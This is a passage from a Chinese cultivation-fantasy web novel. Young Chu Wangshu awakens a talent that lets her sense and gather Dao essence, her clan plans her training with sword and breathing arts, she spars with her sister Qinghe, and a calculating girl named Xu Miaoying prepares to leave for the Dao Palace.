此事到这时候还是皆大欢喜,有了这个天赋,楚家的推举算是稳稳过了,结果楚清河当天抽风。
她拉着望舒就去了大长老的院子。
楚清河从小被大长老严厉管教,那时候望舒还没来楚家,楚家就她一个“希望”,她从小捏着鼻子上十八门课。
相比于楚家,尤其是大长老对她的奢望,楚清河自己就很清醒。
并不是所有人都能认清自己,这是一门大学问。有些人修行许久不得入门,而有些人天生就会。
楚清河就属于在认清自己这块天赋异禀的人,她从小就知道,自己绝对无法成为大长老口中,那种能撑起楚家门楣的人。就算是天赋到了,她的性格也不想干。
于是楚清河从小就开始琢磨,要是有个妹妹就好了。
至于为什么是妹妹?楚家族情如此啊,往上数三代族长都是女性,楚家的孩子们,大多都是妹妹比弟弟有出息。
如此楚清河肯定是要指望妹妹。如果来个弟弟,天赋还不如她,那不全白瞎了吗。
盼星星盼月亮,终于把妹妹给盼着了,天赋果然比她好,从小看着就像仙童。
这才是能把楚家的房梁撑起来,让她在里面安心躲雨的人呐!楚清河立马压上了自己全部的身家!
结果好日子并没有如清河所想的那样到来,因为鸡蛋不能放在一个篮子里,楚家也不能全押宝望舒一人。
清河那个憋屈。
直到觉醒天赋这天,她觉醒的天赋竟然叫狐假虎威。
狐假虎威。哈!
楚清河直接演都不演了。
站在大长老的院子里,她用自己这辈子最得意的嗓门开腔。
“早说了我不是做顶梁柱的材料,您非不信,这下看到了吧,我觉醒的天赋都是这!”
“天赋神通跟性格相关这是您教的对吧,这说明什么,说明我的性格就不喜欢自己支棱。”
“天道她老人家都给我认证了,您还不死心吗?”
“叫我说,您可赶紧去培养望舒,她还不够宝贝吗,您把她养成,不也间接等于帮了我吗?”
你撒欢就撒欢,拉上我干嘛。
望舒多喜欢发光一人,那天老老实实缩在院子角落,看着脸色铁青的大长老默不作声摸出戒尺,把楚清河狠揍了一顿。
楚清河在床上趴了三天,她一叫唤,大长老就揍她,彻底把她揍瘪了气。
望舒来看她的时候,她拉着望舒的手,忍辱负重地说:“妹,等我把你养成虎,我们再来一次,我非得叫她看看……”
别我们,就你。
望舒嗯嗯,给楚清河拉了拉被子:“到时候你来,我在外面给你喊加油。”
等楚清河伤彻底好了,看着也没力气折腾了,楚家才正式把她和望舒的名字上报了道宫。
现在审核通过,有了令主的“批语”,楚岱熙很怕她感觉行了,又来上一回,摁着楚清河的肩膀,斟酌着说:“一会儿大长老那里,我去说。”
哼!楚清河将脑袋一扭,眼里闪过智慧的光。
都不信我……等我将来扶持妹妹成功上位,到时候你们就知道,谁才是真正的智者!
望舒看着楚清河活灵活现,露出羡慕的眼神。我也想知道自己的天赋啊。
只是大人物说话都是谜语人,令主说了她的天赋,却又等于没说。
望舒无聊地摇摇铃铛,坐在秋千上,用灵力把自己荡出去,看着天上漫卷的云。
好想长大啊。
-
望舒长大了。模拟器记录着望舒前进历程中,所有的高光点。
她最近的一次高光,是在八岁。
望舒八岁觉醒了天赋。
她与清河不同,清河的觉醒,是水到渠成。望舒却有点着急,她是自己激出来的。
【你于五岁幼龄,正式成为瀛洲掌印世家楚氏的家族推举。家族举全族之力培养你,虽然你只占这份全力托举的二分之一。】
【你开始走出家门,楚望舒的名字,逐渐被外界所知悉。】
【解锁成就“二分之一托举”、“一点薄名”,天才分+100】
【你得到了道宫令主所赠红穗,以及一句说了等于没说的点评,“天赋神通与造化本质有关”】
【解锁成就“大人物的天赋评价”,获得天才装扮道具“令主的赠穗”】
【作为已经上路的伪天才,你获得了一些天使投资人的满仓压股。沉重的期待却也让你压力倍增,你发现,仅仅凭借紫级灵种的
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天赋,似乎无法满足这些期待。你试图寻求新的突破,譬如,觉醒天赋。】
望舒:知道就好。所以,能不能来点干货?
模拟器就不吱声了。
废物。
望舒决定自力更生。
望舒八岁的时候,楚清河已经十三岁。她的个子本来就高挑,如今看着,已有清晰的少女态。
天赋觉醒之后,楚清河修行进展神速,如今已有九品修为,可以御气而行。只是她毕竟年纪不大,灵气储量较薄,在天上飞也飞不了多久,尤其是……载着一个人的情况下。
“妹,你看着小小的,怎么这么沉啊?”楚清河双手勾在望舒的咯吱窝下,抱着她在天上飞,像小鹰脚爪勾着她的猎物,飞行不熟练,负重也不熟练,哪里都歪歪扭扭。
望舒看着逐渐缩小的家族族地,精致的面孔非常淡定。
她说:“我从小就沉。你行不行呀?”
“大女人不能说不行。”楚清河来劲儿了,勾着脖子往上飞得更高。
飞到了一定高度,能感觉到冰凉的云层雾气在脸颊上拂过,楚清河也感觉到上限了:“这个高度行不?”
望舒说嗯。楚清河却不敢撒手:“要不咱还是想个别的法子吧,你还小呢,正常觉醒天赋都要十岁的啊。”
望舒说:“可我是要做楚家顶梁柱的人啊,要是不特殊,不头角峥嵘,脑袋尖尖,还怎么把这个家顶起来。”
是哦。
望舒又说:“而且别人觉醒灵种都要五岁,我三岁就行啊。我就是跟别人不一样的。”
对呀。
楚清河认同点头。她一眼见着了望舒,就知道她是个出头人地的材料。
姊妹俩脑筋都挺歪,却奇妙地怼在了一起。
楚清河被说服了,开始问重点:“轻身符防水符都带了不?”
望舒:“都带了,轻身符十张,防水符十张。”
“好!”这也是楚清河敢答应望舒干坏事的原因。楚家家大业大,俩家族“推举”手里都有不少好东西。
退一万步,望舒带的符全部意外失效了,清河的金镯铃铛里还有能高速飞行的灵器呢。
这也能来得及把望舒捞回来。当然,事后是少不了一顿揍啦。
“那我松手了哦?”楚清河说。
“松!”望舒平静地看着下方,包围在瀛洲岛外围的江湖,碧蓝壮阔,有海的包容。
下坠的狂风呼啸而来,望舒张开双臂,努力睁大眼睛。
她要看清这一切。
想飞得很高,想潜到很深的地方。
在海天一线,天地的夹缝,望舒拥抱了世界。
噗通一声。
朝夕阁。楚岱熙忽然皱了皱眉,停下执笔的手。灵识漫出,望舒没在她房间中午睡,往更深的地方,也没和清河藏在梅园里干坏事。
静悄悄的……
楚清河踩着一个金制飞碟,悬停在湖心低空,她小脸发白,看着望舒从水里冒出头。
身上包着一圈金光,这是防水咒正在作用。
“你刚刚用符怎么用那么迟啊?”她看见望舒都快砸到水里了也不用轻身符,吓晕了好么。
“符用早了就没感觉了。”望舒这时候才拿出轻身符,往身上一拍后。她从水里爬出,自然站到水面上。
嘴角向两边上翘,抬眸看着悬停在她跟前的楚清河,轻飘飘丢下一句。
“我觉醒天赋了。”
“啊?”楚清河张大嘴。
不是,这真行?
楚清河寻思着,自己是不是也来上一回,说不定天赋就进转了什么的。
忽然听到脑袋上方传来一道熟悉的声音。
“清河……你在做什么?”
大长老停在空中,正皱眉看着她,旁边,是手背在后面的族长。
楚清河吓得一下子从金碟上翻了下去。望舒拉住她,轻身符的力量连接过去。两人老老实实缩在水面上。
望舒眨眨眼睛,在所有人开口前,说:“姐姐帮我觉醒天赋。”
“努力试了很多种方法。就刚刚,成功了。”
清河垂着脑壳,看见有鱼在底下游。
她隐秘翘起嘴角。
妹。恩人呐!
11. 天才之力
回到族中,楚岱熙不着急让望舒说天赋的事,而是叫她换身衣服。
虽然用了防水符,但从跌入水中到捏符出来中间还是有个时间差,望舒身上不说湿透,至少也是半湿。
等她换了衣服回来,看见娘和大长老分坐在上首。楚清河没敢坐,老老实实站在堂下,看见望舒,呲了呲小白牙。
楚岱熙招手叫望舒过去,本来面无表情,想佯做生气,可望舒冲她眨眨眼,拽着她的袖子轻轻一晃,就一下子破功了。
“说吧,怎么回事,望舒,你的天赋?”
连大长老都没空教训楚清河,跟着看了过来。
望舒的天赋可谓吊足了楚家人胃口。从她三岁觉醒灵种开始,额上就古怪地出现了可能涉及造化本质的相印,偏偏她又是紫级灵种。
若说相印的事是楚家多想,可道宫下来检视的天院院长,姚希如令主,拥有金色灵种级别的窥视神通。她也点评,望舒的天赋与造化本质有关。
这很难不叫人遐想。
凡是涉及造化本质的东西,都是玄之又玄,其珍贵罕见的程度比金色灵种更甚。现在望舒极有可能觉醒这样的天赋,这叫楚家人怎能不激动呢。
刚刚大长老和楚岱熙没追着望舒刨根问底,已是她们修行涵养极高的表现了。
对比之下,楚清河就着急坏了:“妹你快说!”
望舒的天赋就关系到她的天赋。她这只狐能借到多少势,就看望舒这只虎有多强了。
望舒回想着她感悟到的神通,神色显露一分古怪。
“我觉醒的天赋,叫天才之力。”
“我好像可以像感受灵气一样,感受到每个人身上拥有的道韵。道韵组成了造化。反过来说,我可以根据一个人身上的道韵含量,判断出他的造化等级,看出……他是否可以称作天才。”
望舒用轻飘飘的语气扔下了一颗不知多大的雷,震得楚岱熙与大长老半天都回不归来神。
倒是清河,不知者无畏,脑袋一歪,迷惑地说:“道韵,那是什么?跟灵气一样的东西吗?”
“道之法韵,是这天地最玄妙的法则本源。无形、无痕、无质。只有一些极其含罕见的天地灵物才能捕捉其存在,道韵之盘所用的雷击石就是其中之一。”大长老复杂地看了望舒一眼,对楚清河解释。
“那我们望舒不用雷击石也能感受到,这是很厉害的意思吧。”楚清河说。
岂止是厉害啊。
大长老没说话,只有膝上微微握紧的双拳,能看出一些她外溢的心情。
望舒眨眨眼,议事堂变得好安静啊。
她继续说:“我不仅能看到,这个道韵,我好像还有办法获得。”
“这应该也是天才之力这个天赋名称的由来吧。假如一个人,修为、造化等级比我高,我获得了她的赞美、认同,就能获得一丝道韵。”
“嗯……假如我能战胜这个人,就会获得更多道韵。”
“这些道韵都能反哺到我自己身上,供给我的灵种,提升我的造化等级。”
换言之,她的灵种等级好像也能提升。
望舒说着说着停住,她后知后觉,自己这个天赋……好像真的有点逆天。
她想起令主的点评,“你的天赋,涉及造化本质”。能直接看见造化,通过搜集道韵提升造化,可不就涉及本质了吗。
这可太本质了。
发现自己厉害后望舒有点开心,眼睛去找楚岱熙,发现娘在愣神后伸手拽住她的袖子,小小喊一声:“娘。”
楚岱熙抬头,看见望舒水汪汪地盯着她,如画的面容,眉心一点颜色,正是点睛之笔。
“你觉得我的天赋怎么样?厉害吗?”
其实想被夸奖。
楚岱熙一把将她抱起来,两人面颊贴着面颊,似乎也能听到彼此的心跳声:“厉害到娘都不敢相信能生出你这样的女儿。”
她从没想过靠望舒帮楚家什么,可望舒的出现,真的像那个驾月的神女,给楚家带来了光明与希望。
娘的气息好闻又温暖。望舒嘴角上翘:“那怎么办?你就是我的娘,这么看起来娘还是要比望舒厉害一点的。”
这头母女俩黏糊,那头楚清河还在消化望舒说的话。
“奶,你听到了吗,我怎么听望舒的意思,她的灵种好像能升级?”
这东西不是从出生就固定住了吗,有就是有,没有就是没有。
大长老满心复杂地看了她一眼:“望舒,只是有办法搜集道韵来反哺灵种。”
“也许灵种的升级需要很多很多道韵,非一朝一夕的功夫可成。”
“这有什么!”楚清河摆摆手,她是会抓重点的人,“方法困难,跟有没有方法,本质就是两回事。”
是啊,作为天地造化的具现,灵种本身就已经是一种恩赐了。结果望舒竟然能通过一种方法,稳定搜集道韵,提升造化级别。
这种方法能够存在,本身就已经足够可怕。
想明白后,楚清河眼珠一转,忽然笑起来。她双手叉腰,胸膛一挺,看着大长老,满眼神气:“奶,这你怎么说?有了妹妹这种级别的大腿,你还觉得我的天赋差吗?”
“哈!您之前还瞧不上,这以后出去,谁敢说我不是天才?”
大长老面无表情摸出戒尺。她喜好整洁,储物镯中从不放与修炼无关的东西,但自从清河作妖,她的储物镯就常备戒尺。
为了维持心境的稳定,这把戒尺可太需要了。
清河看见那泛着银光的尺,就感觉屁股隐隐作痛。那可不是普通的尺,输入灵气,重可达千钧。
飞快弹到另一边,抱住望舒挡在自己身前,看着大长老警惕地说:“可不兴打的啊,我现在可是有靠山的人!”
“狗仗人势。”大长老也学会嗤笑了。
哼。楚清河现在已经对这个词完全免疫了。要是能仗的“人势”都是望舒这种级别,那当当小狗也没什么。
“只是,”望舒皱皱眉,发现一个问题。“这个天赋虽好,却好像没什么攻击力。”
她获得道韵最快的方式是打败一个修为或者造化等级比自己高的人,那么问题来了,她没攻击手段,怎么打败一个各方面都比自己厉害的人呢?
望舒后知后觉。
这好像是个大后期天赋……那我艰难的前期,该怎么渡过?
又一次庄重的族会召开了,这次会上讨论的主题只有一个:望舒的天赋,到底该怎么培养。
正式开启讨论之前,所有闻讯而来的长老都跟看稀罕物似的,把望舒好一顿研究。
眼神的意思都很统一,“知道你会带来惊喜,没想到是这么大的惊喜”
“好了。”楚岱熙看着这帮人把望舒围得人都看不见,伸手点点桌子。
望舒的天赋已经等同于楚家的机密,这次族会,只有楚家最高层的长老能参与。
“我们这次讨论的重点,是搞清楚望舒到底怎样才能获得道韵。根据她的说法,战胜一个修为、造化等级比她高的人,或是获得这个人的赞美认同,都可以。只是战胜比获得认可的级别更高。”楚岱熙说。
美艳的二长老还是那么珠光宝气,她弯腰
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看着望舒,狐狸眼上扬:“我们这里的每一个人修为都比望舒高。如果我们每人都夸你一句,崽,你能获得道韵吗?”
天赋神通只有本人才能了解。感受到诸人的目光,望舒皱皱小眉头,摇头。
“好像不行。太亲近了,我的神通很难分清,到底是因喜爱而产生的认可,还是因为我本人的实力真的让对方折服。”
楚芷渊说:“那就不能都是吗?”
“不行。”望舒摇头。
有意思了。三长老楚镜渊说:“若是我们每个人都把修为压到九品乃至无品境,等你战胜我们,可能获得道韵?”
“得是真正的战胜。”望舒眨眨眼睛。
“那就要看同辈人。”楚岱熙若有所思地说,“乖崽,你看清河符合要求吗?”
其他长老都将目光看过来,楚清河莫名感到压力起来,仿佛全家的希望都寄于她一身。
楚清河镇定清清嗓子,说:“是啊,妹,你看我行不?”
望舒黝黑的眼眸逐渐加深,直至变成深不见底的漩涡,像能把人的灵魂吸入。眉心的相印也开始沿着边缘逸散出金粉一样的光点。
望舒说:“姐姐……造化等级没我高,但是修为比我高。好像可以。”
如此看来,望舒第一波“道韵”的来源,还真得从清河身上挖掘。
但清河只有一个,对望舒来说,这显然远远不够。
楚岱熙总结:“望舒崛起的机会,在道宫。”
若说天下哪里的天才最多,多到可以给她们望舒垫脚,多到是可持续消耗资源,那显然只有一处。
道宫。
“不过在此之前,家族需要想尽办法提升你的前期实力。”
不然就是给别人做炮灰了。
几位长老摩拳擦掌,已然准备各展神通。
五长老楚茗烟围观半天,倒是问了个题外话:“我比较好奇,在望舒眼中,我们几人的造化等级有何区别?谁更高,谁更低?”
“是啊,望舒,给我们也看看。”四长老搓了搓手。造化等级这么玄妙的东西,还是头次听说有人能直观看见呢。
奇怪的胜负欲出现了。望舒看到,就连娘的眸中也闪过兴味。
好吧,既然你们这么好奇,那我就看看。绝不是我自己想看哦。
望舒点漆一样的眸有存在感地划过众人,深处似有金光涌现。她嗯了一声,粉色的唇瓣微微上扬。
“我看到,娘的造化等级最高,大长老其次。”
后面的,她不说。
“灵种等级与天赋神通,好像是能根本决定造化等级的东西。”望舒补充。
当造化之眼开启时,世界在望舒眼中变成一个个光团的聚合体。
底色是白色,道韵是渐变流动的彩色,而造化之力,是金色。
其中有两处地方,金色最为明显。一处是五脏中心,灵种所在之地,一处是灵庭,神魂灵识安置之所。
“我看到娘和大长老的灵种等级是一样的,但是,娘身上拥有的造化之力更多,好像是天赋神通的作用。”
楚岱熙与大长老对视一眼,大长老叹息一声,并不意外这个结果。
大长老主动给望舒解释:“你娘,曾入百席前十。”
“是十席当中,唯一一名紫级灵种,靠的,就是她的天赋神通。”
灯火之下,楚岱熙的金冠熠熠生辉,一身红袍,长睫黑瞳,权利滋养了她的气质,她拥有楚家独一份的霸气张扬。
楚岱熙看着望舒,提唇一笑。
“娘的天赋,名十八仙剑。”
12. 全面培养
望舒觉醒天赋后,家族就开始对她进行全方位的定制化培养,方针路线只有一个——不惜代价,快速提升她前期的实力,好让她与别的天才争锋对战的时候,拥有足够的战斗资本。
首先,原本的一月一次灵种灌塑,提升到一月两次。
但由于韵灵基液的稀缺,望舒多出来的那次,改为清灵基液。听说是韵灵基液的平替,走家族自己这边的渠道,重金采购。
值得一提的是,这部分清灵基液,只用在望舒身上。关于这点,大长老与清河都无异议。
清河不必说,天天嚷嚷着要抱望舒大腿,自己私底下还“省吃俭用”投资望舒,恨不得望舒吹气一样成长起来,自然不可能有任何意见。
至于大长老……似乎天天听清河咕哝“我就不是顶梁柱的材料,望舒才是,你就该培养望舒”,逐渐也有点被说服。
她认不认同望舒,这另说。
关于“清河不是顶梁柱的材料”,她倒是彻底的、深刻地认识到了。
也因此,望舒这部分资源倾斜,没有引来任何不和谐的声音,仿佛天经地义般地推行了下去。
其二,楚家全部长老上阵,纷纷拿出自己的看家手艺,势必要把望舒武装成能出去唬人的六边形人才。
望舒听了老大不高兴。
“什么叫做能唬人。”
三长老楚镜渊看着望舒板着小脸,呵呵一笑:“这可是你自己说的,你是大后期天赋。那我们前期,肯定要苟一苟,怂一怂嘛。”
望舒闲聊时的一句大后期被几位长老听去,纷纷觉得表达传神,现在什么“苟前期”“争后期”,说得比望舒还溜。
不过三长老在武装望舒这块,实在有点乏力,因为他自己的天赋神通,与灵植种植有关,用望舒上辈子听过的话,叫“先天木灵根满级”“种田圣手”
楚镜渊倒是很愿意教望舒种田的,望舒自己也很感兴趣,但是楚家其他人不愿意啊。
这么顶级的天赋,就天天浪费在田里地里,侍弄些花儿草儿的吗?
暴殄天物!
楚镜渊被全票否决,只好在旁边揣手看戏了。
除了三长老,同样因为专业不对口被否决的,还有二长老、四长老。
望舒这回终于知道二长老为什么能走那种极奢靡艳了,原来她的天赋点在找矿源上!
她善于查探地脉,知道哪里有上好的灵石矿。
这是一位,真·手里有矿·顶级富姐!
至于四长老,他的天赋是“巧言善辩”,此等天赋在商道能得到超乎寻常的发挥,但也很难作用望舒。
倒是清河对四长老的天赋很感兴趣,想拜师学艺,后来因大长老摸出了戒尺,悻悻作罢。
最终,武装望舒的主力,落在大长老、五长老,以及楚氏族长楚岱熙身上。
梅园中,花瓣雪点一样零星下落,大长老手捧清茶,对望舒说了她的天赋。
“我的天赋,名生生不息。是一套集呼吸法、修炼功法、战斗技法为一体的修行宝典。”
“用此呼吸法,气息会变得柔韧绵长,聚而不散,配合功法,就能做到战斗时灵气延绵不绝,生生不息。”
“嘿,”听到一半,楚清河憋不住咕哝,“其实就是乌龟打法,妹你懂吧,怎么打都是四平八稳的,确实够持久,致胜的路子就是磨到对方嫌烦,自己投降。”
望舒眨眨眼睛,就是怎么打也不掉血嘛。
那是很烦了。
但也很厉害啊。
她瞥见大长老额角绽起青筋,握着瓷盏的手也开始收紧,不禁为她的好姐姐捏一把汗,赶紧转移话题。
“大长老,这么听起来,这套功法风格十分稳重,就是不知,假如我的修行路线与之风格相冲,会不会有影响?”
望舒目移,看了一眼楚清河,举例:“譬如,姐姐学枪,枪法迅疾霸道,是不是就不适合这样的功法了呢?”
楚清河一下子直起腰,眼睛亮得像灯笼。
崽,你简直是我心上的蛔虫。
她两只拳头都握着,虚搭在桌上,自顾自道:“我说我最近出枪怎么不够快,也许就是……”
“嗷——奶!”
楚清河疼地跳起来的时候,大长老刚刚收回拿戒尺的手。
她沉着眼,面无表情道:“你出枪不快,正是因为气息不稳。气不能聚,如何能破?”
望舒暗暗垂下脑袋。
姐,其实我是在给你找台阶下啊……
她明智放过这一茬话题,眼睫扇了扇,说:“那娘呢,十八仙剑,意思难道是召唤出十八柄剑么?”
当时听到,就觉得娘的天赋名既帅又有逼格,完全不输金色灵种级别。
楚岱熙微微一笑,含着山水不露的骄傲:“十八仙剑,这所谓的仙剑指的是剑之虚灵。虚灵凝成,就相当于我多了一把剑,意随心动,如臂指使。且,每一柄剑都附带一套剑术,剑剑不同。”
“那娘现在凝聚几个虚灵了?”
这听起来就是她想要的强力战斗型天赋啊。
“九。”楚岱熙略微一停,才说出这个数字。
望舒仰起脑袋,捕捉到这个细微的停顿,却不打算现在过问。
她翘起嘴角,说:“娘,我想学剑。”
“只是,我没有娘的天赋,还能凝聚虚灵吗?”
“自然不能。”望舒还没来得及露出失望,又见楚岱熙轻轻一提唇,“但,娘可以教你剑术。每一把剑之虚灵背后,附带的剑术。”
这就相当于,望舒剑道起步,就有天赋顶级的剑道大师手把手教学,绝不藏私,还附赠大招。
“除了我,还有你五长老。你五长老的天赋,叫‘百器皆通’”
这个望舒知道,五长老有点像武器的全能型选手,什么武器到了她手上,一模就会,还能学精。
她曾亲见过五长老张弓射下十里之外的大雁,穿目而过,雁身无缺。
五长老还是姐姐现在的“老师”,她教楚清河枪法,现在又教自己学剑。
这样一看,望舒前期的武装计划,已经初步成型。修行功法学习大长老的生生不息,武技方面踏足剑道,由娘亲楚岱熙亲自授剑。
望舒也通过这次机会摸清楚了楚家所有长老的天赋。
她意识到一件事,家族拥有的灵种天赋,也算是家族底蕴的一部分,假如她不是生在掌印世家,就不会有这么多顶级老师给她授课。
天赋自带的神异虽然不能传授,但技巧部分,却可以代代相传。
望舒抬眸,一朵粉白的梅瓣在她眼前遥遥下落,她伸手接在掌心。
望舒想到了楚家。
楚家确实是一颗参天大树,表面看起来枝繁叶茂,可她却嗅到了树下的阴雨。
娘迄今为止没有跟她说楚家的困境,不代表她不能察觉——她每月所使用的韵灵基液有一部分被替换成清灵基液;长老们看到她觉醒天赋后露出那样欣喜若狂的神情。
天衡大陆上传说的望舒神女,驾着月亮,给黑暗中的人类带来光明与引领。
楚家大概也需要一名望舒。
还好。我就是望舒。
-
【你是瀛洲掌印世家楚氏族长之女,家族的二分之一托举,幼年期的托举得到了一点小小的回报,你觉醒了传说中涉及造化本质的天赋,成为楚家名正言顺的天才。】
【只是你也意识到,家族很大又很小,楚家的天才不代表真正的天才,前方漫漫长路,还有无数垫脚石,等着你去踩。】
【道宫是家族为你预定的下一个副本,那里才是天才真正的战场,兵不血刃,每天都有天才崛起,亦有天才从高峰坠落。】
【暂且不能转化为战力的天赋,激发了你的火力不足恐惧症。你还是渴望实力,恨不得能够瞬间长大。】
【你的楚氏本家阶段天才分已蓄满,是否利用这份天才分,为自己兑换一份直接可观的战力。】
【你的选择是:
【甲:出名要趁早,我要立即晋品。
八岁入品,你将刷新这个大陆的晋品记录,楚氏楚望舒之名将传遍天衡所有顶级势力。你会成为一名真正的天才,并有事实依据。
【乙:战力才是一切,我要可以落地的剑道天赋。
拥有剑道天赋,你将完美继承族长妈妈的天赋战力,你会拥有剑之虚灵,未来可以召唤十八仙剑。
【丙:继续蓄力,我是究极忍王。
你想把好钢用在刀刃上,你不确定要有多少道韵灵种才能晋级。你打算继续忍耐,为未来灵种突破,积蓄宝贵的力量。】
听见脑中的声音,听见这三个选择题,望舒轻轻勾起嘴角。
这个选择对她来说根本不是选择。
晋品?两年之内,我必然可以晋品,何必非要刷新一个记录,获得一个名不
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副实的神童称号?要知道神童的巅峰往往也止步于童年,比起过早地被名气架起,我更想扮猪吃虎,苟道发育。
至于剑道天赋。妈妈的路,是她的路,而我,有我的路。
执剑是我的手段,却不是我的路。
最后一个丙,才合了她的心意。我就是要伪装天才啊,连天才之力这样能让灵种晋级的天赋都觉醒了,我为什么要舍自己,而就其他?
望舒轻松地想,紫级灵种听起来还是不够响亮、不够天才。
我要金色灵种。
我要最好的。
-
寒来暑往,梅园的花永开不败,梅园之外却已轮载十个春秋。
今日梅园内有一场小小的战斗,发生在楚家两位托举之间。
二分之一托举,对战,二分之一推举。
红衣少女手执一柄比人还高的烈焰长/枪,眉宇飞扬:“妹,我来喽!”
风裹挟花瓣,温柔拂过另一位少女的裙摆。亭亭而立,脂玉琉璃,少女随手将剑挽了个剑花,对前从容一笑:“你来别告诉我啊,会被针对的哦。”
回应她的是已然朝她面中刺来的凌厉枪尖。少女将头一侧,黑眸不动,冷静格挡。
红衣少女的枪,大开大合,她不给对手任何喘息机会,上来就用全力。武器之间,又有一寸长一寸强的说法,执剑少女被逼的似乎无法还手。只抵御,不还击。
只是她很稳。从头到尾,她那柄细长的剑,都稳稳化解了长/枪每一次凌厉的进击,执剑的手未晃动一分。
她呼吸绵长稳定,步伐进退,带着一种韵律。
红衣少女发现自己的枪越来越沉。她被拖入了一种不疾不徐的节奏,而这,不符合她的风格。
她沉思一番,枪身抡圆一圈,像要收势,却在枪尖转到前方的时候猛地一停,枪身惯性向前,到了尾部,被掌心以劲气往前全力推出。
这一枪,势不可挡。
强劲的气流带动花瓣飞舞,执剑少女弯身下腰,剑在她掌中旋转,以柔韧的力道卸去长/枪迅捷的力,反过来带动枪身回旋。
红衣少女蹙眉,正要握枪回击,发现不知何时,那些飞旋的花瓣裹上凌厉剑气,像有灵智一样横向排列,如同剑刃,抵上了她的咽喉。
旁边的大长老一声叹息:“清河,你输了。”
望舒轻松挽剑收势,锋利的花瓣忽然变得柔和,拂过楚清河的脸,继续下落。
“姐姐,承让。”望舒一笑。
楚岱熙走过来,单拳抵唇,想说点什么,怕清河这孩子输了不好受。
结果楚清河哐当一声将枪扔了,扯袖子抹起头上的汗:“可算结束了,打的时候我就差点忍不住偷懒认输,又怕没了效果让妹吸收不了道韵。那我不白干了吗。”
“怎么样,成功了吗?”她看着望舒。
望舒勾着唇,嗯了一声。
刚刚,她清晰感觉到有一缕道韵进入她的身体,反哺了她的灵种,瞬间化去了她战斗的疲惫。效果,比一次韵灵基液的灵种灌塑还好。
楚清河大松一口气:“好好好,我可不想当你的对手。”会被坑得死都不知道怎么死的。
望舒轻轻一笑:“当然。我是姐姐的大腿啊。”
大长老皱眉过来,想提点清河她刚刚是怎么输的,却被进入梅园的楚茗烟打断。
她捧着一个红木托盘,告知众人一则消息:道宫发布召令,召集各地学子入宫,给楚家送来两份请柬。
掀开托盘上的绸布,安静放置于托盘内的,是两只铜铃。
道宫弟子佩铃。又分天地玄黄四院,黄级弟子佩铜铃,玄级弟子佩银铃,地级弟子佩金玲,天级弟子佩玉玲。
所有初入宫的弟子,统一入黄院,因此送来楚家的两只宫铃,是铜制的。
楚清河将她的枪提起来抖抖灰,好奇地走上前:“这铃铛就是请柬啊,那有点寒酸哦。”
楚大小姐想着,怎么地不得来个金铃铛啊。
望舒则伸手将其中一只宫铃提起,停在眼前,轻轻摇动。
凌凌。
铃有响石,去掉则无声。
望舒想起令主赠她的红穗,认为时机正好,便拿出红穗,悬于宫铃之上。
她仰起脸,粉色的唇瓣微微上扬,眼瞳沉静如水,眉心一点灿金。
该出发了。
那天才真正的战场,风云汇聚的核心。
13.宫门夜宴
楚宴在翻阅楚氏幼院今年大筛的结果时,听仆从来报,妙樱姑娘正在门外候见。
楚宴将卷宗阖上,饮一口茶歇息的空档,脑中想起了许妙樱的资料。
这个孩子,也是在某年大筛时,他从瀛洲主城筛出来的天才种子。当时她五岁,已经自己觉醒了灵种。
许家是瀛洲一商户人家,虽然家境殷实,祖上却从未出过修行者,许妙樱的出现是个意外之喜。
不成想,许家的当家人却是个拎不清的,言语中不是很想许妙樱踏上修行之路,话里话有还有把许妙樱的修行机会让给他小儿子的意思。
身为掌印世家的幼院总管,楚宴根本懒得与这种人纠缠,直接道,不论是走道院途径,还是来楚家,三日后,这家人要给个说法。
结果不等三日,第二日,这小姑娘就自己找上门,说,她以绝食手段威胁家里,自己逃了出来,如今身无可依,愿意选择楚家,希望楚家能庇护她,不要让许家来人将她接走。
小姑娘哭得梨花带雨,楚宴当即拍板将人留下。许家,楚宴从来就没将人放在眼里。
许妙樱果然争气,经过一次灵种灌塑,就发现觉醒的是蓝级灵种,这在楚家本家都很拿得出手。
楚宴给她分拨了一些资源,让她在幼院上课。
许妙樱第二次进入楚宴目光,是望舒小祖宗偶然来上幼院课程的时候,许妙樱一向不太与人结交,那次却主动上去交好。
嘿。楚宴那时就觉得这小姑娘有点眼色,一挑就挑中了楚家真正的宝贝。
也许目的略显直白,可人家真做到了啊,幼院那帮孩子,就她与望舒小姐清河小姐玩得最好。
之后家族推举,楚宴在许妙樱与另一个男孩陆琪之间,上报了许妙樱的名字。
楚宴对许妙樱的判断:谨小慎微,某些时刻却有胆色,聪明,知进退,人也上进,有点小心机却无伤大雅。也许以后去道宫,她能成为两位小姐的助力。
心思转过一轮,楚宴开口喊人进来。
许妙樱提着一包东西进门,行过礼后浅浅笑道:“不日即将远行,承蒙总管多年照拂,一点薄礼,聊表谢意。”
楚宴皱眉,刚要说他不收礼,许妙樱水眸眨了眨,主动解释:“这是妙樱自己采摘晒制的清荷露茶,于夏日解暑正好,比灵茶更适口,比单纯的灵露多一分荷香。东西简陋,还望总管不要嫌弃才好。”
楚宴的面色就和缓下来。清荷露茶,是要采摘特定时辰带着灵露的清荷叶子,灵露不去,于阴凉处阴干制成的灵茶。原料易得,制作却费功夫。
况且清荷有通润的效果,适合他这样“丰腴”的身材。
这是一分便宜简单,却用心的礼物。
楚宴便不再推辞,想了想,提点道:“家族明日启程出发,由族长和五长老亲自带队护送两位小姐,你与陆琪应该跟着她们同行。届时,若遇到问题,你可以找五长老,若五长老没空,可以找望舒小姐。”
在清河与望舒之间,虽然望舒人更小,但明显行事更加稳重。清河小姐,找她解决问题……也许转眼人就忘了。
“你虽不姓楚,却与楚家有这样一段缘分在,缘分难得,就算入道宫,也值得珍稀维护。你是个聪明孩子,我就不多说了,你去吧。”
拜别楚宴之后,许妙樱又去了给她授课的其他几位老师的住所,同样送上了礼物,才回了自己的院子。
桌上放着收拾好的包袱,在楚家十余年,也没有多少东西。悬窗外映着一抹桃色,楚家到处都种着桃树,这么多年,许妙樱已经习惯清晨晨起闻上一抹桃香。
如今渐大,她已不像幼时那样在头上佩两朵桃花,而是换成一对碧玺桃花玉簪,同样是粉色。
许妙樱看着镜子,镜子中的人,有尖尖的下巴,水汪汪的杏眼,眼尾下垂,配上粉色桃簪,天然显出三分无辜。
这样的长相,可不就是适合装扮得清纯可爱,没事出去骗一骗人吗。
许妙樱朝镜中露出一个甜美的笑,眼神却是漆黑深沉的,两种冲突的气质杂糅在一起,在她清丽的面庞上显出一种冷感。
将镜子收起来,许妙樱想到了楚宴总管的话。
确实,楚家的关系,现在就丢掉未免可惜。她用楚氏这个跳板,一路前行,每次都达到了自己的目的。
